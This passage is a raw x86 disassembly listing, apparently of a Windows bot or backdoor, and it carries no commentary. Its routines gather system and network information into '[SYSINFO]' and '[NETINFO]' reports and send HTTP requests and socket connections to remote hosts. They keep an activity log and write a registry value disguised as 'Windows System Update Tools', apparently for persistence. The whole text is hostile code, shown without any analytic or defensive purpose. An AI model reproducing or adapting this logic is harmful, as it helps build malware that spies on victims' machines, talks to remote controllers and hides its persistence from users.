		push	[ebp+arg_4]
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D5BA
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D5BA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40BCF7
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41792A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BDAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C061	proc near		; CODE XREF: sub_40F6F1+464Bp
					; sub_40F6F1+5B45p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		cmp	dword_4414A0, 0
		jnz	short loc_40C0D5
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_441288	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_40C0B6
		lea	eax, [ebp+var_8C]
		push	offset dword_42D554
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_40C0B6:				; CODE XREF: sub_40C061+40j
		test	[ebp+var_C], 1
		jz	short loc_40C0CE
		push	offset dword_42D54C


loc_40C0C1:				; CODE XREF: sub_40C061+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	short loc_40C0F4
; ---------------------------------------------------------------------------


loc_40C0CE:				; CODE XREF: sub_40C061+59j
		push	offset off_42D548
		jmp	short loc_40C0C1
; ---------------------------------------------------------------------------


loc_40C0D5:				; CODE XREF: sub_40C061+28j
		mov	esi, offset off_42D544
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_40C0F4:				; CODE XREF: sub_40C061+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41792A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40C061	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C127	proc near		; CODE XREF: sub_40F326+14Bp

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4203E2
sub_40C127	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	loc_40C1CF
		push	esi
		call	sub_417BEE
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C1CF
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	sub_4203DC
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_40C1AA
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		push	offset dword_42D564
		push	edi
		call	sub_4203D6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_40C1C8
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		shr	ecx, 10h
		cmp	cx, 0A28h
		jnz	short loc_40C1C8
		movzx	eax, word ptr [eax+0Ch]
		cmp	eax, 884h
		jz	short loc_40C1C3
		cmp	eax, 9C9h
		jz	short loc_40C1BF
		cmp	eax, 0A7Dh
		jz	short loc_40C1BB
		cmp	eax, 0B4Ch
		jz	short loc_40C1B7


loc_40C1AA:				; CODE XREF: ___:0040C161j
		xor	esi, esi


loc_40C1AC:				; CODE XREF: ___:0040C1C6j
		push	edi
		call	sub_417C62
		pop	ecx
		mov	eax, esi
		jmp	short loc_40C1D1
; ---------------------------------------------------------------------------


loc_40C1B7:				; CODE XREF: ___:0040C1A8j
		push	2
		jmp	short loc_40C1C5
; ---------------------------------------------------------------------------


loc_40C1BB:				; CODE XREF: ___:0040C1A1j
		push	4
		jmp	short loc_40C1C5
; ---------------------------------------------------------------------------


loc_40C1BF:				; CODE XREF: ___:0040C19Aj
		push	3
		jmp	short loc_40C1C5
; ---------------------------------------------------------------------------


loc_40C1C3:				; CODE XREF: ___:0040C193j
		push	1


loc_40C1C5:				; CODE XREF: ___:0040C1B9j
					; ___:0040C1BDj ...
		pop	esi
		jmp	short loc_40C1AC
; ---------------------------------------------------------------------------


loc_40C1C8:				; CODE XREF: ___:0040C178j
					; ___:0040C188j
		push	edi
		call	sub_417C62
		pop	ecx


loc_40C1CF:				; CODE XREF: ___:0040C13Fj
					; ___:0040C150j
		xor	eax, eax


loc_40C1D1:				; CODE XREF: ___:0040C1B5j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1D5	proc near		; DATA XREF: sub_40F6F1+4BFFo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42D688
		call	sub_417430
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417430
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417430
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417430
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4412C0	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40C36F
		cmp	[ebp+var_34], ebx
		jbe	short loc_40C2AC
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40C2AC:				; CODE XREF: sub_40C1D5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40C2CA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40C2CA:				; CODE XREF: sub_40C1D5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40C2E4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40C2E4:				; CODE XREF: sub_40C1D5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40C2FE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40C2FE:				; CODE XREF: sub_40C1D5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_441368
		call	dword_44138C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40C387
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_441380	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40C38E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_441334	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40C368
		push	offset dword_42D65C
		jmp	short loc_40C393
; ---------------------------------------------------------------------------


loc_40C368:				; CODE XREF: sub_40C1D5+18Aj
		push	offset unk_42D610
		jmp	short loc_40C393
; ---------------------------------------------------------------------------


loc_40C36F:				; CODE XREF: sub_40C1D5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42D5E4
		push	eax
		call	sub_4173AC
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40C3A1
; ---------------------------------------------------------------------------


loc_40C387:				; CODE XREF: sub_40C1D5+153j
		push	offset unk_42D5A8
		jmp	short loc_40C393
; ---------------------------------------------------------------------------


loc_40C38E:				; CODE XREF: sub_40C1D5+17Bj
		push	offset unk_42D568


loc_40C393:				; CODE XREF: sub_40C1D5+191j
					; sub_40C1D5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_40C3A1:				; CODE XREF: sub_40C1D5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40C3CC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40DC10
		add	esp, 14h


loc_40C3CC:				; CODE XREF: sub_40C1D5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	esi
		call	dword_4413EC	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4413EC	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx
sub_40C1D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3FF	proc near		; CODE XREF: sub_40F6F1+4581p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_446090
		mov	edi, 0B8h


loc_40C413:				; CODE XREF: sub_40C3FF+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40C436
		push	[ebp+arg_0]
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C436
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_446C10
		jl	short loc_40C413
		jmp	short loc_40C478
; ---------------------------------------------------------------------------


loc_40C436:				; CODE XREF: sub_40C3FF+17j
					; sub_40C3FF+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_446090[esi]
		push	ebx
		call	sub_417430
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_4182F0
		push	9Fh
		lea	eax, dword_4460A8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_4182F0
		add	esp, 24h
		inc	dword_430B28
		pop	ebx


loc_40C478:				; CODE XREF: sub_40C3FF+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40C3FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C47F	proc near		; CODE XREF: sub_40F6F1+5C77p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42D698
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_446090


loc_40C4A9:				; CODE XREF: sub_40C47F+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40C4E4
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42D68C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41792A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 2Ch


loc_40C4E4:				; CODE XREF: sub_40C47F+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_446C10
		jl	short loc_40C4A9
		pop	edi
		pop	esi
		leave
		retn
sub_40C47F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4F7	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 7C80A7D4h
		mov	ebx, offset dword_445788
		mov	edi, 80h
		mov	esi, offset dword_441788


loc_40C519:				; CODE XREF: sub_40C4F7+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40C530
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40C530:				; CODE XREF: sub_40C4F7+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40C519
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41792A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C4F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C56B	proc near		; CODE XREF: sub_407B45+15Bp
					; ___:00407E7Cp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_418BEF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40C4F7
		add	esp, 14h
		leave
		retn
sub_40C56B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C597	proc near		; CODE XREF: sub_40F6F1+5B76p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_441788
		xor	ecx, ecx


loc_40C59E:				; CODE XREF: sub_40C597+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_445788
		jl	short loc_40C59E
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42D6CC
		jnz	short loc_40C5CE
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_40C5CE:				; CODE XREF: sub_40C597+1Fj
		push	esi
		call	sub_40C4F7
		pop	ecx
		pop	esi
		retn
sub_40C597	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5D7	proc near		; CODE XREF: sub_403E35+2B3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_441788


loc_40C5DD:				; CODE XREF: sub_40C5D7+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C5F2
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A8E4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C604


loc_40C5F2:				; CODE XREF: sub_40C5D7+9j
		add	esi, 80h
		cmp	esi, offset dword_445788
		jl	short loc_40C5DD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C604:				; CODE XREF: sub_40C5D7+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C609	proc near		; DATA XREF: sub_40F6F1+5C23o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C65C
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42D720
		push	eax
		push	[ebp+var_11C]
		call	sub_40DC10
		add	esp, 14h


loc_40C65C:				; CODE XREF: sub_40C609+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C67C
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41791F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C67C
		mov	[ebp+var_8], eax


loc_40C67C:				; CODE XREF: sub_40C609+5Aj
					; sub_40C609+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_441788


loc_40C685:				; CODE XREF: sub_40C609+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C6DF
		cmp	byte ptr [esi],	0
		jz	short loc_40C6CE
		cmp	[ebp+var_98], 0
		jz	short loc_40C6B4
		cmp	[ebp+var_4], 0
		jnz	short loc_40C6B4
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A8E4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C6CE


loc_40C6B4:				; CODE XREF: sub_40C609+90j
					; sub_40C609+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40DC10
		add	esp, 14h


loc_40C6CE:				; CODE XREF: sub_40C609+87j
					; sub_40C609+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_445788
		jl	short loc_40C685


loc_40C6DF:				; CODE XREF: sub_40C609+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42D6F4
		push	eax
		call	sub_4173AC
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C719
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40DC10
		add	esp, 14h


loc_40C719:				; CODE XREF: sub_40C609+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_18]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_40C609	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C738	proc near		; CODE XREF: sub_40ABB7+1Ep
					; ___:0040EFB8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42D748
		xor	esi, esi
		mov	ebx, offset aWindowsSystemU ; "Windows System Update Tools"


loc_40C74B:				; CODE XREF: sub_40C738+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_44136C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40C785
		push	[ebp+arg_0]
		call	sub_417AF0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4413DC	; RegSetValueExA
		jmp	short loc_40C78F
; ---------------------------------------------------------------------------


loc_40C785:				; CODE XREF: sub_40C738+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_441324	; RegDeleteValueA


loc_40C78F:				; CODE XREF: sub_40C738+4Bj
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42D760
		jl	short loc_40C74B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C738	endp

; ---------------------------------------------------------------------------
dword_40C7A8	dd 42474FFh, 0FFFF87E8h, 35FF59FFh, 42D740h, 5C84E890h
					; DATA XREF: ___:0040F184o
		dd 0E8EB7C3Fh

; =============== S U B	R O U T	I N E =======================================



sub_40C7C0	proc near		; CODE XREF: sub_40C7FB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C7F5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C7D9:				; CODE XREF: sub_40C7C0+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_421210[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C7D9
		pop	edi
		pop	ebx


loc_40C7F5:				; CODE XREF: sub_40C7C0+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C7C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7FB	proc near		; CODE XREF: sub_40D091+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417BEE
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41823A
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C84A


loc_40C820:				; CODE XREF: sub_40C7FB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C84E
		inc	ebx
		push	ebx
		push	esi
		call	sub_418C3F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C84A
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418132
		add	esp, 10h
		jmp	short loc_40C820
; ---------------------------------------------------------------------------


loc_40C84A:				; CODE XREF: sub_40C7FB+23j
					; sub_40C7FB+39j
		xor	eax, eax
		jmp	short loc_40C869
; ---------------------------------------------------------------------------


loc_40C84E:				; CODE XREF: sub_40C7FB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C7C0
		push	esi
		mov	ebx, eax
		call	sub_417C62
		push	edi
		call	sub_4180DC
		add	esp, 10h
		mov	eax, ebx


loc_40C869:				; CODE XREF: sub_40C7FB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C7FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C86D	proc near		; CODE XREF: sub_40C8F3+33p
					; sub_40CE56+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_441438	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C8E9
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4413B8	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4413F8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40C8CE
		push	[ebp+arg_0]
		call	dword_44143C	; gethostbyname
		test	eax, eax
		jz	short loc_40C8E9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C8CE:				; CODE XREF: sub_40C86D+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_441360	; connect
		cmp	eax, esi
		jnz	short loc_40C8ED
		push	edi
		call	dword_441450	; closesocket


loc_40C8E9:				; CODE XREF: sub_40C86D+1Bj
					; sub_40C86D+58j
		mov	eax, esi
		jmp	short loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C8ED:				; CODE XREF: sub_40C86D+73j
		mov	eax, edi


loc_40C8EF:				; CODE XREF: sub_40C86D+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8F3	proc near		; DATA XREF: sub_40F6F1+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C86D
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C986
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D7E4
		push	eax
		call	sub_4173AC
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C969
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40DC10
		add	esp, 14h


loc_40C969:				; CODE XREF: sub_40C8F3+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40C986:				; CODE XREF: sub_40C8F3+3Fj
		push	offset byte_43C63C
		push	ebx
		call	sub_40BA41
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C9F1
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D7A4
		push	eax
		call	sub_4173AC
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C9CD
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40DC10
		add	esp, 14h


loc_40C9CD:				; CODE XREF: sub_40C8F3+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	ebx
